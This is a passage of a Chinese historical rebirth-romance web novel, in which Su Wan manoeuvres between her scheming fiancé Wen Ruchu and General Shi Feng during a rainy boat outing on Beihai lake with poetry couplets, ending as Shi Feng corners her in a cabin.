一弯弦月挂树梢，好似弯刀，刺入茫茫黑夜，将天空割裂得七零八落，亦如苏绾的心。
她坐在髹红圆杌凳，瞧着满桌的山珍海味，一点胃口都没有。相反，还有点干哕。
乳娘因为避嫌，并没有跟来，芸娘只好自己带宝哥儿。让厨房将米粥煮得烂烂的，装进漆盒，带到晚宴给宝哥儿吃。
芸娘举着小如雀卵的白瓷汤匙，一点一点喂给宝哥儿，那举动细心体贴，蓦然间，让苏绾回忆起大理寺书房，那个家伙也是这般喂她吃粥。
突然间，又有点感动。
他没有骗她。这桩案子，最后败在温如初手里。
上一世，温如初利用巡察杭州茶叶征收的机会，同殷潜打成一气，大肆搜刮民财，甚至贪墨朝廷赈灾款。随后他将这笔银款洗干净，转而送进章任梁的口袋，作为投名状，求纳入首辅麾下。
然章任梁并非贪财之人，银钱不能收买人心。温如初只好打起苏绾的主意，将她送至阁老床榻。
阁老霸占她的身子长达两年之久，这期间，温如初成功入阁，并在得逞后一年内，解决了章任梁，自己取而代之，成为内阁首辅。
眼前她什么都没做，那温如初如何说服阁老出马，动用都察院截了这桩案子？
苏绾不得而知，但她明白，现实的刀刃，已经架在脖颈，她无路可退。
正寻思间，忽然苏夫人以筷子点了点案席，“欢儿此行平安归来，多亏了姑爷相助。咱们也不能不讲礼数，以往是是非非先不必计较，五月三十，赶上朝廷休沐。你们下帖子请姑爷游北海园子，亲自道谢。知道了吗？”
苏君识拦阻，“儿子取保候审，又不是完全脱罪，请什么客赴什么宴，这不是赤裸裸打刑部的脸吗？”
苏夫人翻了翻眼皮，不以为然，“怎么了？北海离咱们家，也就二里地，并不超出刑部规定五里范畴，有何不可？我还倒要让那些盼着苏家倒霉的人看看，我儿完好无缺，看谁还敢看轻咱们。”
完好无缺？
苏尽欢经此一难，不但腿脚被打瘸，走路半边身子栽歪。取保候审之人，今生再无功名可考，仕途全废不说，连带着苏君识的官途也要受影响。
最要命的，还是那合欢散的副作用。
苏尽欢回来不过半日，色心即蠢蠢欲动，身旁并无长得好看的婢女——苏夫人早就将房内的使唤丫头，清一色的换成五十岁老嬷嬷。
纨绔少年急火攻心，干脆抓了身边的小厮淬火，结果磨蹭半日，徒劳白费力气——银样镴枪头，倒真真应验了！
苏君识缩着脖颈，低头嘟囔：“姐夫公务繁忙，孩儿就不去叨扰了吧，叫苏绾贱蹄子招呼她夫君。”
扭头凶苏绾，“你好生伺候姐夫，倘若有何闪失，我叫爹爹罚你跪祠堂。”
想必苏夫人已将隋太医所谓的“小妾说”转达给温如初，这个节骨眼去见温如初，属实自投罗网。苏夫人这一招“借刀杀人”，用得还算中规中矩。
叫她如何应对？
思来想去，几日不得安宁。碰上连绵细雨，苏绾偶感风寒，咳嗽发烧不断，几乎卧床不起。
无霜跑去跟管家嬷嬷讨要药材，又被骂得狗血喷头。后来还是苏夫人房里的小丫头阿沁，偷偷拿了定神补气的药塞给无霜。
可那药吃下去根本无用，夜长梦多，苏绾躺在塌上翻来覆去，口中不住叫喊“烧死我了”，“疼煞我也”，“杀尽恶鬼”，唬得无霜直呼救命。
芸娘慌忙从箱子里拿出一包银子，连夜派文竹出门寻夜诊大夫。
那大夫磨磨蹭蹭，走了半日才到，切脉诊断一番，也只开些祛除风寒的药方。
看着苏绾活活受罪，芸娘望向同样手足无措的无霜。俩人知晓苏绾体内七根银针作怪，太医院都束手无策，何况山野大夫。
那边苏绾发烧说胡话，这边时枫也不得好过。
他料到温如初背后的底气非比寻常，但他决然不会想到，竟然是当今内阁首辅章任梁。
时枫同阁老打过几次照面，其人正气凛然，治国理政，厉行法治，乃大熹江山肱骨之臣。温如初竟然不知不觉，攀上令人望而生畏的高度。
时枫紧了紧眉头，放下手里捏着的信笺，那是苏府“鳐鱼”递来的消息。
信上说，苏绾暂时安好，最近有些着凉，吃的不多。苏家忙着照顾苏尽欢，以及拉拢讨好温如初，约定五月三十，一同游北海。
她生病了。
为什么？
怪他没办成事么？
胸中闷着一股火气，也不知道因何而起。时枫揉搓睛明穴，抬眼正撞见一双明亮的眼眸，圆溜溜地望着他，好似溪边光滑的鹅卵石。
“枫哥哥，别总皱眉头嘛，不好看哟。”
沈枝意一身杏黄石榴裙，背着小手站在眼前，袅袅婷婷，好似啼啭的黄莺。
“你来了。”时枫嘴角扬了扬，“怎么没去街角溜达？”
自从上次惹得沈枝意不高兴，被沈恪拿住把柄教训，时枫意识到自己态度不端正，很少拒绝沈枝意的请求。
“街边逛腻了呀，卖糖水的大婶都知道我的名字啦。每次去都送我一盅酸梅汤，清清爽爽，可好喝了。”小手不停比划着，愈加像是跳舞的鸟儿，灵动活泼。
时枫忍不住伸手点了点她光洁的额头，“仗着可爱，搜刮百姓，罪过。”
葱指拢住男人的大掌，沈枝意光亮的眼眸闪了闪，“我也送大婶一朵石榴花，插在鬓头可美啦，大婶笑得花枝乱颤。”
她抓着时枫的手不肯松开，旋裙绕过桌案，来到跟前，“不要管大婶啦，枫哥哥，带我出去玩嘛。”掀眸望了门外方向一眼，扁着小嘴，“晴雷这几日也见不到影子，没人陪我玩。”
时枫任由她撒娇，勾了勾唇，“再玩就成野丫头了。”低下长长的睫毛，忽然一
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桩心事涌上心头，他拍了拍沈枝意的小手，“我带你去逛逛北海，可好？”
“真的吗？”沈枝意眼睛一亮，“太好了呀，咱们何时去呢？越快越好。”
“不急，五月三十，朝中休沐，适宜出游。”时枫垂下眼眸，眼底泛出不易察觉的色彩。
沈枝意高高兴兴捉裙离去，如鸟雀扇动羽翼，刮起杏黄色的香风，扑了趸进门的晴雷一脸。
少年不住揉搓眼角，脚步明显慢了下来。
“瞎不了，走快些。”时枫催促道。
晴雷眯缝着眼，快挤出眼泪来，干脆闭眼摸索前行，“爷吩咐属下调查的事情，已经有了眉目。”
时枫一听，凤眸昱昱，迫不及待道：“快说。”
晴雷一边摸索，一边清了清喉咙，“苏君识数年前于‘春月坊’包养一位清倌人，名叫九香，是位歌舞伎。苏君识畏惧苏夫人雌威，只敢让那外室居住行院，不久生下女婴，就是苏绾。”
“女孩长到八岁时，苏夫人撞破苏君识豢养外室的秘密，强行迎娶回府。两年后，苏夫人治了九香卖身罪名，将其沉塘溺死。”
光顾着说话，也没寻到椅子凳子歇脚，干脆袖口擦拭眼睛，这才勉强有了光亮，“苏绾长到十七岁，嫡女苏沅芷诬陷苏绾盗窃，苏夫人将苏绾卖到行院，幸亏遇见温如初，这才救下苏绾。”
晴雷瞧着时枫脸色越来越暗，尽量放缓语气，“温如初对苏绾青眼相看，一心娶她为妻，特请求户部尚书梁才认养苏绾为干女儿。虽为挂虚名，然则京城坊间，家喻户晓，苏家这位庶女，山鸡变凤凰。”
时枫凤眸虚眯，“小小贱妾庶女，受尽世态炎凉，白眼屈辱。既得温侍郎庇佑，当视为天赐良机。何故弃之如敝履，拜求解除婚约？”
晴雷转了转眼珠，“许是因为不喜欢。”
“不喜欢？”
时枫念叨这三个字，心里百转千回。她一贱妾庶女，轮得到由她来决定，喜欢谁不喜欢谁。
苏绾的经历不算新闻，认识她接近仨月，苏家如何虐待她，他也曾亲眼目睹。他只是奇怪，即便如此，苏绾也没有理由，越过温如初，转而投靠他。
除非温如初，另藏有秘密。
时枫抬了抬眼，“叫你查温如初的底细，如何？”
晴雷插着双臂，努了努嘴，“温侍郎白璧无瑕，十四岁进大慈恩寺做俗家弟子，十八岁状元及第，授从六品翰林院修撰，十九岁抽调从五品户部员外郎，二十二岁擢升正三品户部侍郎……”
“说些我不知道的。”时枫不耐烦地打断他。
晴雷眼眸一闪，“温侍郎人脉广泛，在京各司，六部五寺，都察院，兵马指挥，国子监，翰林院，或多或少都与他沾亲带故，交情匪浅。如今京城上下，也就皇宫内部他进不得，尚且够不到司礼监。然京中皆传言，不出三年，温侍郎准能入阁。”
“哦。”时枫渐渐脸色阴沉。
他印象中的温念，性格内向，什么时候变成一个完全陌生的人。不但官场上挥斥方遒，就连三法司断案都能插上一脚，实力不可小觑。
晴雷拍了拍手掌，“爷近十年来一直跟着老爷和大爷，在西北边塞历练，当然不晓得京城诸权贵之间的关系。如今爷被调遣至京师驻防，少不得要跟京城官场打交道，面上准会碰见温侍郎……”
“碰见怎么了？我会怕他不成？”时枫凤眸一凛。
晴雷俯身道：“属下是说，爷要从温侍郎眼皮子底下，将苏绾的婚约解除，恐怕绝非易事，苏家的案子就是警示。爷在京城，单枪匹马独斗，前途恕难预料。”
他并非忌惮温如初，凭他时家的根基，以及父亲、大哥和他三人积攒的军功，朝中无人望其项背。
倘若换做以前，他认为自己犯不上，何必为红颜祸水，同兄弟反目成仇，葬送大好前途？
然而自他与苏绾相识以后，从她口中得到截然相反的形象。他本不信邪，但端阳节在醉仙楼，她用血和泪，向他阐述仇恨冤屈。
那他就不得不相信，温如初才是那个恶人。
他既已给了苏绾承诺，答应替她扫平前路阻碍，哪管路途凶险，魑魅魍魉，一概横刀剿灭杀绝。
月落参横，辗转反侧之际，又觉得自己不值，为那一晌贪欢，他竟要赔上身家性命。
可笑，亦可悲。
39. 北海
红木书桌上摆着文房四宝，整整齐齐，茶盏里的碧螺春香气袅袅。多宝阁内珍品妙玩，缥缃佛经翻卷皴裂。香炉内檀香烟纠缦，一缕茶烟透碧纱。墙上悬挂宝剑一柄，宝石剑坠晶莹透彻。
温如初独坐在书房桌案前，端起一盏碧螺春，轻轻地啜茶，茶香混杂紫檀轻烟，书房弥漫。
桌案摆着一份请帖，粉色薛涛笺写就，下角印一支桃花，上写：“苏家二小姐苏绾，邀请贵府温侍郎，五月三十同游北海，以叙离情。”
温念温如初起步户部，升至从五品户部员外郎。世人皆认为，他已爬到官场顶端，再难向上攀升。
谁知温如初神来一笔，在户部尚书梁才鼎力支持下，抛出惊世骇俗的“一条鞭法”，震惊朝野四方，廿二岁破格擢升正三品户部侍郎。
温如初提出，把各州县的田赋、徭役以及其他杂征总为一条，合并征收银两，按亩折算缴纳。这种“通计一省丁粮，均派一省徭役”的方法称为：一条鞭法。
“一条鞭法”大大简化了税制，方便征收税款。同时使地方官员难于作弊，进而增加财政收入。
圣上龙颜大悦，摩拳擦掌，欲在全国推行赋税改革。试点首推赋役繁重的江苏、安徽和浙江省。
由于触及官绅地主的经济利益，地主隐瞒土地，躲避赋税现象严重，致使三省推行赋税改革半年有余，迟迟不见成效。
在这节骨眼，内阁大学士章任梁上本，请旨延缓赋税改革在全国施行，取消江西、福建和两广的推行政策。对于“一条鞭法”支持与否，章任梁态度始终讳莫如深。然而若“一条鞭法”半途而废，温如初的云衢官路戛然而止。
温如初并非第一次同首辅打交道，他的投名状，早在两年前便交到章任梁手里。而苏家逆子苏尽欢一案，迫使温如初早早动了章任梁这步棋，是他以户部尚书梁才名义，写信请求都察院参与审理此案。
章任梁给了他温如初面子，都察院将此案完美解决，苏家全身而退，除了苏尽欢受的一点皮肉之苦以外，没有人得到处罚。
求人的代价，便是牺牲掉“一条鞭法”的公正公平。下一步棋怎么走，取决于章任梁想不想要他活。仅凭他一己之力，恐怕难以再次翻身。若想打动章任梁，得需一块敲门砖，投其所好，才能逃过此劫。
大慈恩寺的番僧慧明法王，曾替他打卦，认为他命里注定得到天赐的锦斓袈裟，可偿今生所愿。而这件袈裟已经幻世为人，名为苏绾。
是时候，请出他的保命袈裟了。
早在两年前，他私底下布置眼线，打探到浙江省布政使殷潜妹妹苏殷氏，嫁给吏部郎中苏君识为妻，苏君识膝下两女一子，儿女皆未成亲。
嫡女苏沅芷嚣张跋扈，大小姐脾气，难以拿捏控制。相比之下，庶女苏绾木讷，文静贤淑，定会成为趁手的工具。
温如初就此敲定娶苏绾为妻的决心，佳人才子采兰赠芍，情路顺遂。
月晕而风，接连不断的波折，让敏锐的温如初，察觉到一丝危险的气息。
苏绾似乎不再如之前那般逆来顺受，虽然她表现得听话乖巧，但他总觉得，她隐藏在暗处的眼神，充满不可名状的敌意。
所有证据均指明：奸夫确有其人，多半就是冷面阎罗，京卫指挥使，时枫。
时枫，时将军。
温如初心里反复琢磨他的名字。
纳征一日，他得到奸夫身上扯下来的墨玉证据；苏绾假扮算命书生，结果被隋太医当做时枫的小妾诊治；端午节醉仙楼后，徐尚书唠叨的那句话：“时将军所言有理，这果然是条明路”，应是时枫故意引导徐尚书拖住他，导致他迟到早退宴席，其目的在于帮助苏绾粉饰太平。
谜底尚未揭晓，但温如初心中已有九分把握，剩下一分，是他对兄弟留有的最后一丝信任，与时樾一事的愧疚。
他只有一事不明：他们俩，究竟是何时搭连到一起的？
温如初双眉一挑，素白手指拾起薛涛笺，狠狠地揉搓一团。书房内弥漫着淡淡的檀香味，阳光透过窗户洒进来，映照俊美面容，仿佛一尊白玉雕像。
春色将阑，莺声渐老，转眼间到了五月三十。
夏日的北海，一派祥和景象。北海乃城内一方湖泊，辖通城外护城河及江沿江口，面积宽广辽阔。岸边景色澹宕，群山万壑环绕，亭台楼榭倒映。
正值仲夏之始，柳亸莺娇花复殷，吸引京城众多妖童媛女，联袂踏青，赏花品酒对诗，附庸风雅。
马车缓缓停泊，车上轻步落下一位绝世美人，一搦腰，三阙裙，集万千妖娆于一身，眼波流转，明媚如丝，勾得路人流连忘返。
经过几日休养，苏绾的烧退了，咳嗽减轻许多，气色还有待恢复，但这并不影响她的美貌。她依然是街景最光辉美好的一笔。
那笔色彩明亮，闪了路边等候仕女团的眼睛，她们粉妆极重，粉屑飞扑，团扇遮面惊呼：“好美的人儿。”
忽然跌足一个趔趄，差点被人撞满怀，苏绾玉手扶额，双眼漫漶，看不清楚路人。
“哟，这是谁家的小娘子，这般俊俏耐看。可是在等心上人儿？别等了，洒家带你玩。”一声调侃响起。
不等苏绾回应，那人说着，上手竟去摸她的脸颊。
眼看咸猪手迎面袭来，苏绾心内颤抖。千钧一发之际，却见襕衫公子身形一闪蹿上前来，举起手刀打落那人手腕，
“哎哟。”疼得那人直喊娘。
路见不平，拔刀相助。
苏绾正欲向襕衫公子表达谢意，谁知后面又蹭蹭窜出七八彪形大汉，纷纷出手扶起那人。
糟糕，帮手来了。
来者不善，苏绾悄悄后退两步，伺机欲逃。
其中一位络腮胡大汉趸步上前，不由分说抡拳猛搥那人腹部，只一击就将那人击昏。
络腮胡甩了甩手腕，回头向襕衫公子拜道：“奴才不懂事，望公子赎罪。”
襕衫公子瞟了一眼地上躺倒的“死猪”，厌恶道：“乌合之众，难成大事。”
络腮胡愧道：“此人乃外编，临时叫过来凑数，不曾想竟这般不抵。”
襕衫公子背过手去，语气冰冷，“将他丢进江里喂鱼。”
络腮胡低头道：“是。”
使了个眼色，命令手下迅速将那人抬离。
风过如呼吸，襕衫公子甩袖扬长而去，全程看也不看苏绾一眼。
一段离奇经历插曲，结局颇令人玩味。
京城三千繁华地，各路神仙打架，不足为奇。
苏绾星眸卷睫扇了扇，捉裙趸步跟随，东风沉醉，桃花乱雨，红尘三条界阡陌，男男女女递嬗涌入路的尽头。
不多时，温如初翩翩而至。穿牙白锦袍，簪星曳月，乌黑发髻插银白小冠，桃花泛水眼眸，缱绻多情。俊逸出尘，清风朗月，宛如谪仙下凡。
从前苏绾对他一见钟情，深陷那对桃花眼眸，难以自拔。眼前她只觉那两道目光寒凉，仿佛致命枷锁，紧紧束缚心头血肉，令人感到窒息无力。
“绾绾。”
温如初俯首睐目苏绾，眼眸蕴含深情眷恋，“数日未见，你又瘦了些，可曾吃好睡好？有没有受委屈？”
苏绾障扇浅笑，“绾绾无碍，吃得饱，睡得香，念哥哥不必牵挂。”
“甚好。”
温如初面露悦色，牵着葇荑，引入岸边凉亭。亭内摆设双凳一案，案上一壶筛酒，并点心小食。亭外石榴花开，清风徐来，香气扑鼻。
“虽说是你下帖子请我，然则你小小女儿家，哪里来的进项，断没有叫你做东的道理。”
温如初宽袖伸展，引苏绾落座，二人对花把酒，沉寂一阵。
温如初道：“最近公务繁忙，又困
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于你弟弟的案子，着实有些头疼。今日闲来无事问青山，正好与绾绾推心置腹诉衷情。”
苏绾拿不准他端地是什么态度，使的是哪里招数，总归不是想与她邀杯共饮，少不得又是一拨风霜刀剑的审问。
对付温如初，她无任何把握。
如玉公子端坐石凳，嘴角噙着笑意，独自举起酒杯，轻轻啜一口。
“绾绾，你可曾有负于我？”
开门见山迎头劈面一问，令苏绾如被霹雳击中，浑身颤抖。脑子里快速思索破局手段，千丝万缕思绪，唯剩淼淼迷茫。
“我没有。”苏绾娇声，扑倒温如初膝下，“念哥哥，绾绾发誓，绝无二心。”
温如初见惯她这副娇滴滴求人的模样，他伸手一把推开她，眼眸露出凶光，“那你怎么解释，这些风言风语，嗯？”
那双桃花眼眸泛出的狠戾之色，活了两世，她再熟悉不过。
眼前浮现出他的另一道身影，皇冠龙袍加身，攥着她的手腕，用同样的语气对她道：“大军压境，我怎么舍得放你走，嗯？”
重生以来，苏绾夜夜噩梦缠身，无数次梦到温如初提着油壶，哗啦啦，向她头顶浇灌松脂油。
无论她怎样哭喊挣扎，他都无动于衷，并亲手将燃烧的火折子塞进她口中，堵住她的呼吸呐喊。
叫她怎么能不逃？
“念哥哥，可是又听人构陷我同小厮捱光？”
苏绾哭道：“冤煞我也。我身边接触小厮，统共不过一个文竹。念哥哥知道的，文竹身世凄惨，十岁被人牙子净身，送进宫中当太监。后来管事太监嫌他不够机灵，又不要他了，这才被苏家买来为奴。我怎可能跟文竹不清不楚？”
温如初弹指拨去衣襟上飞落杨絮团，眉心紧拧三分，显然对这番辩解不满意，“谁说是小厮？绾绾不至于这般轻贱自己。”
抬起头，桃花眼眸泛着冷光，“难道非要我亲自说出他的名字吗？”
苏绾捶胸顿足，凄婉道：“念哥哥为何听信别人谗言，唯独不相信绾绾？绾绾心死如灰。”
“就在前几日，夫人为遮掩苏尽欢丑事，竟栽赃嫁祸到绾绾身上，直言是我诱骗他，又联合隋太医，构陷我同人通奸，将我塑造成娼妇形象。若非念哥哥出手，夫人就要立即将我捆绑，送到刑部衙门抵罪去也。”
佳人一度哽咽不能言，抽泣几轮，“人言可畏，绾绾无话可说。倘若念哥哥决定放弃绾绾，绾绾、绾绾……”
挥手拔出发髻金簪，紧紧攥在手里，“不该活在这世上，与君就此死别……”
佳人泪洒东风，挥簪自刎。
锋利的簪尖闪着金光，眼见触及肌肤。
温如初眼眸一凛，二指聚力，啪得一下打掉手里金簪。
他因着在大慈恩寺修行几年，武功力道都属上乘，并非传统观念的“手无缚鸡之力”的软弱书呆子。
“念哥哥……”
哭泣着，身子骨一软，苏绾跌进温如初怀里，玉软花柔，粉泪盈盈，楚楚可怜。
“何必管我？”
诉不尽嗔痴哀怨，道不完脉脉情仇，多情总似无情恼。
“你怎么这么傻？”温如初蹙眉道，“就算你最后真的变心，也犯不着拿命来换。天底下没有比你的命，更重要的东西。”
温如初双手环绕苏绾，揩去粉嫩面颊残泪，“乖，不哭了，我相信你。”
星眸坠水，桃花含泪，美人泣声：“念哥哥，你不要我了吗？”
温如初最爱她这副稚齿婑媠的模样，忍不住低首贴近唇瓣，声如润玉，“怎么会不要你？我爱你还不够，恨不得将你贴近我怀里。”
佳人才子缠绵悱恻，落花飞絮成春梦。
忽然凭空一声冷笑，风声鹤唳，直入九霄，“光天化日之下，云衢三品大员，不顾礼仪，公然搂抱，成何体统？”
40. 画舫
苏绾抬眸，眼前男人一身玄色窄袖丝袍，目光清冷，剑眉横挺，俊美无俦的脸颊，布满阴鸷肃杀气息，带着久经沙场的漠然无情。仅仅是长身玉立，却给周遭带来可怕的威慑感。凤眸涌动着微光，化作咆哮铁兽，瞬间将苏绾吞没。
他怎么来了？
温如初停顿一息，桃花眼眸闪了闪，随即拿出往常八面玲珑的模样，言笑晏晏：“原来是榆白兄，你不是再也不来赴我这无聊的宴席么？我怎好强人所难。”
“枫哥哥，你走得太快，都不等人家。”
窈窕姽婳女子映入眼帘，身形纤细，体态婀娜，般般入画，自有轻灵之气。眉弯如月，含着浅浅笑意，明眸秋水，好似花间朝露。
“原来你佳人有约，偏要来臊我，是何道理？”温如初支颐笑道。
时枫一本正经介绍：“枝意乃家父世交沈恪沈老将军之独女，她初来乍到，我奉世伯命，带她游览京城。”
沈枝意道了个万福，“小女见过温侍郎。我非京城人士，从小长在江南，第一次进京，看什么都新鲜。多亏枫哥哥带我行走各处，长长见识。”
声音细软，像是江南最缠绵的风，透着股甜腻。
她回眸瞄了一眼时枫，障袂莞尔，“枫哥哥说，北海的花开得正盛，叫我来品花间一壶酒。没想到，捕捉对影一双人。”
这个家伙该来的时候不来，不该来的时候偏偏乱入。想必他还不知道，温如初已拿到所谓的“人证”和“物证”，这会子正审判她。
若非她那一招“以退为进”，假装挥簪自刎，刺在温如初的心头，他绝不会放过对她的严刑拷打。
死人，对他来说毫无用处。
苏绾团扇遮面，偷偷拉扯温如初锦袍衣角，怯声道：“既然时将军有约，我们不便打扰。”
温如初拢住苏绾的手，柔声道：“正是，我们还要去游湖，就此别过罢。”
时枫掀眸暗自瞥了一眼苏绾，垂下眼眸对温如初道：“想走？没那么容易。今日你犯在我手里，我非要好好敲诈你一顿不可。”
某种不易察觉的光芒自桃花眼眸一闪而过，温如初看了看苏绾，又扫了扫时枫，嘴角微微上扬，“既然你那么有雅兴，我自当舍命奉陪，榆白有何打算呢？”
时枫望了一眼凉亭外的天空，“游湖没多大趣味，我包了一艘画舫，出城沿江而下，吟诗作对行酒令，如何？”
五月天气变脸，方才响晴碧空，转眼间阴雨霏霏，凉露沾衣。四人前脚刚上画舫，后脚濯枝雨立马坠下来。
沈枝意掸了掸裙裾沾染的雨泥，吐了吐小舌，“好险，再迟些，咱们全要浇成落汤鸡。”
苏绾脚程慢了一步，淋了点雨水，额发洇湿成绺。正欲抬袖擦拭，忽然一顶松花帕子从天而降，收拢光阴罩住螓首，熟悉的雪松香气恍惚萦绕。
她呆愣着，瞬间血气倒流，帕子底下的瞳孔倏地放大，心跳急剧加速。
她晓得，那顶帕子的主人是谁。
苏绾僵立在那，心里揣着一个念头：完蛋了，要被发现了。
电光火石间，修长手掌按向头顶，轻轻揉搓，伴随着温柔的微微责怪的声音，“怎么出来自己不带帕子？还要借别人的。”
苏绾一怔，随即讪笑道：“原本带了的，大概忘在凉亭了。”
温如初细心为她揩去发髻雨水，将帕子收进袖里，扭头对着时枫一笑，“想必你也不要那帕子了，我替你收着罢。”
时枫睨了一眼苏绾，鼻腔哼了一声。
四人临窗而坐，苏绾刻意捡了张时枫对面的席位，左边坐着沈枝意，右边是温如初。
船家奉上新鲜果品，并一壶糯米酒，竟还有一盘妃子笑荔枝。
苏绾未出阁之前，从未啖过荔枝滋味。苏家每年都收到殷家千里递送果品，偶尔一两年会有荔枝，但总轮不到苏绾的份儿。
上一世她跟随温如初巡察浙江，终于品尝到岭南荔枝的味道。她对其爱不释手，以至于入宫以后，还常常得到机会进食荔枝贡品。
所谓“一骑红尘妃子笑，无人知是荔枝来”。
温如初在这些琐碎上，对她极其宠溺。她喜欢的吃食用度，他从来不会亏待她。
这也是上一世苏绾对他死心塌地的原因之一，她总自欺欺人地认为，他是爱她的，不然怎么会为她吃口荔枝，不惜跋山涉水，劳民伤财也要弄到手。
温如初奇道：“这可是稀罕物，榆白哪里弄来的？”
沈枝意笑道：“枫哥哥借花献佛，我替人做嫁衣裳。”
原来是沈恪进京时，特意带来的贡品，种在聚宝盆里，总共三十棵荔枝树。
温如初揿起一枚果，小心剥开外壳，剔去果核，递至苏绾嘴边，“绾绾，这是荔枝，味道香甜饱满，你一定喜欢。”
苏绾不敢拒绝，檀口微张，啖入果肉。她细品几下，装作从未吃过的样子，不住地颔首微笑。
不经意间嘴角沾染汁液，温如初以拇指轻轻碾过唇瓣，眼神挂着无奈，“怎么吃的到处都是。”
苏绾眼角扫了一眼对面的时枫，见他正黑脸觑她，吓得连忙收回视线，“绾绾给念哥哥丢人了。”
结果，她明显感觉到，对面传来的气息更加凝重窒息，沉重的威压感扑面而至，仿佛泰山压顶。
温如初亦捏了捏苏绾面颊，“绾绾不必怕他，榆白与我竹马之交，从小玩到大，相知有素，他的丑事我知晓一箩筐。”
沈枝意一听，来了劲头，“你知道枫哥哥什么丑事？快快说出来，让我们乐一乐。”
温如初畅然一笑，“无非就是些掏鸟蛋被老鹰啄破头，偷果子被守园人打断腿，下河捞鱼结果绔子顺水漂走之类的顽皮趣事。”
沈枝意笑道：“枫哥哥原来这般淘气不顶事，怎么我看不出来？”
时枫冷眼道：“哼，敢情我替你捱的那些拳头，都是瞎子点灯——白费蜡。”
温如初两手一摊，“哎？你帮我顶的那些祸事，我可都好吃好喝补偿给你了，还叫你好几声哥哥。”
沈枝意问道：“咦？温侍郎小时候受人欺负吗？都是枫哥哥帮你打退敌人的？”
温如初眯眼道：“他不过是纸老虎——外强中干。况且他时常不在家，后来我都靠自己。”
时枫冷笑道：“凭你那三脚猫功夫，剑术耍得像猴戏，吓唬人而已。”
沈枝意惊道：“温侍郎懂剑术？看不出来。”
温如初摆摆衣袖，言语谦虚：“榆白说的对，我不过随便耍耍，不成大器。”
他三人你一言我一语，谈笑风生，倒把苏绾晾在一边，支颐凝望窗外风景。
沈枝意拉着苏绾的手，“绾姐姐，你说说话嘛，一个人窗前听雨，有什么意思。不如我们来吃酒联对子。”
她的建议得到温如初的支持，“也好，绾绾一起罢。”
沈枝意俏皮道：“我先来，雨过榴花坠。”
温如初勾了勾唇，“金鸭篆烟微。”
轮到苏绾，不费吹灰之力，“长夏蝉声满。”
最后由时枫收尾，他思了一瞬，“闲云伴客归。”
沈枝意拍手赞好：“好一个‘闲云伴客归’，雨意欲成还未成，归云却作伴人行。枫哥哥，你真好诗才！”
她觉得不过瘾，吵着再来，“画舫人争渡。”
温如初低吟，“银灯炫夜台。”
苏绾回眸望向窗外，“白头江海客。”
时枫脱口而出，“清咏独徘徊。”
“好诗好诗！苏辛遗风。”
沈枝意不好意思继续夸赞时枫，干脆翘指称赞全诗。然那遮挡不住的钦羡之色，从她的
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眼角眉间舒展开来，映衬她愈加娇俏可爱。
时枫插着双臂，凤眸轻轻一卷，冷哼一声，好似没什么了不起的本事。
如此联了几番轮回，四人竟没怎么吃酒。
温如初才高八斗，名冠京城，自然不会输。两位姑娘咏雪之慧，诗词歌赋，样样皆通，也未曾吃得半点亏。
最让人难以置信的是，身为武将军的时枫，居然也通诗文，雅令通令，信手拈来，应对潇洒自如。
颇让苏绾刮目相看。
“怎么，我就该是大老粗，目不识丁，愚莽之人？”
时枫负手立在窗边，眺望远方迤逦起伏，群山如黛，表情似笑非笑，眸底晦暗，意味不明。
他怎敢在温如初眼皮底下，跟她随意搭讪闲叙？
苏绾乍然一惊，下意识往后退了退，缩紧身子，仿若受惊的小鹿。
快速逡巡四周，搜索温如初的位置——见他正举着绿玉酒杯，和沈枝意探讨苏州园林之最，到底是留园还是拙政园——苏绾方松一口气。
男人眸色瞬间冷了下去，不知被她的反应刺痛，还是别的情绪触发。冷戾眸光落在苏绾身上，久久不肯挪移，似乎非要将她盯死才罢休。
窗外雨声淅沥，在这片刻意沉寂的氛围映衬下，倏然化作轰鸣，打在苏绾心头，震得她肝胆俱裂。
苏绾拗不过那头倔牛，忸怩半晌，“将军好文采，令苏绾钦佩。”
或许见她态度诚恳，冷峻的目光稍有缓和，但男人并未打算放过她。
时枫又凑近半步，离她一臂之遥，身体微微前倾，冷冷道：“到右舷下层隔间等我。”
什么？！
苏绾正欲严词拒绝，男人却直接一个转身，大步潇洒离去，丝毫不给她讨价还价余地。
到底是有多野蛮不讲道理啊！
若惹怒那匹野兽，保不齐他又做出惊天疯狂举动。可她又不晓得该找什么借口，才不会让温如初起疑。
苏绾睨向对面，见时枫端坐酒案前，有一遭没一遭品着冷酒，颇有一股闲看庭前花开落的潇洒从容。
凝望窗外细雨，苏绾攥了攥拳，“念哥哥，绾绾想去船头看过江鱼，好不好？”
温如初一愣，外面雨意臻浓，出去一准浇成落汤鸡。但他向来宠溺苏绾，极少在这种小事上难为她——他所要的，仅仅是她的绝对忠诚而已。
“去吧，当心一点。”
苏绾挓挲一支木伞，撑着小小身影，消失在雨幕中，融入煎盐叠雪白头浪。
大约一盏茶功夫，船头聚集不少人，船家充满歉意地告诉温如初，“苏姑娘不小心滑倒在甲板，浑身衣服浸湿，家婆已送她去隔间更衣，想来要等脏衣洗净烘干后才能出来见人。”
温如初抬首眺望窗外天空，墨云叆叇，并无雨晴迹象，还要再耽搁一阵才能上岸，叹了口气，“教她当心些。”
沈枝意眼珠一转，“想不到朝堂上舌战群儒的温侍郎，私底下竟是这副柔软心肠。”
温如初忧虑道：“绾绾婑媠，品性纯良，若不时时关照她，恐怕被人掳了去，还要替人数钱。”
沈枝意抿嘴笑笑不语，明眸睐向窗边独饮的时枫，她的眸底波澜不惊，却似暗潮汹涌。
窗外淫雨霏霏，时枫一杯又一杯豪饮，眸光冷戾沉寂。花开半开，酒饮微醺，初显醉玉颓山之相。
苏绾一瘸一拐踱进隔间，方才刻意摔跤，没掌控好力度，崴伤右脚踝，又恐温如初过来照顾，不得不咬牙硬挺。
她脱下脏污石榴裙，换上船家老婆递的外衫，还未系上纽扣，忽然墙面隔板一翻，骤然钻进来一道黑影。
苏绾遽然站起身，却被一只大手从后面牢牢堵住嘴巴，场景颇为熟悉。
“叫大声些，最好把他叫过来。”男人凑近耳际，嗓音又低又哑。
41. 恶鬼
苏绾眼眸一沉，这家伙属狗的，钻洞本事一流。她欲质问他，为何如此为难她，偏要她来这里作甚。
话未出口，粗壮臂膀猛地将她扦在墙壁。
“我要睡你，立刻，当下。”
冷漠的声音钻入耳朵，像冷弦上的风寒，“你疯了吗？外面有人。”
男人面色黑沉，凤眸泛露凶光。
“你怕了？”
他不由分说，露出凶恶本相。
“怕他不要你，嗯？”
男人语气轻蔑，蕴含震怒，咄咄逼人。
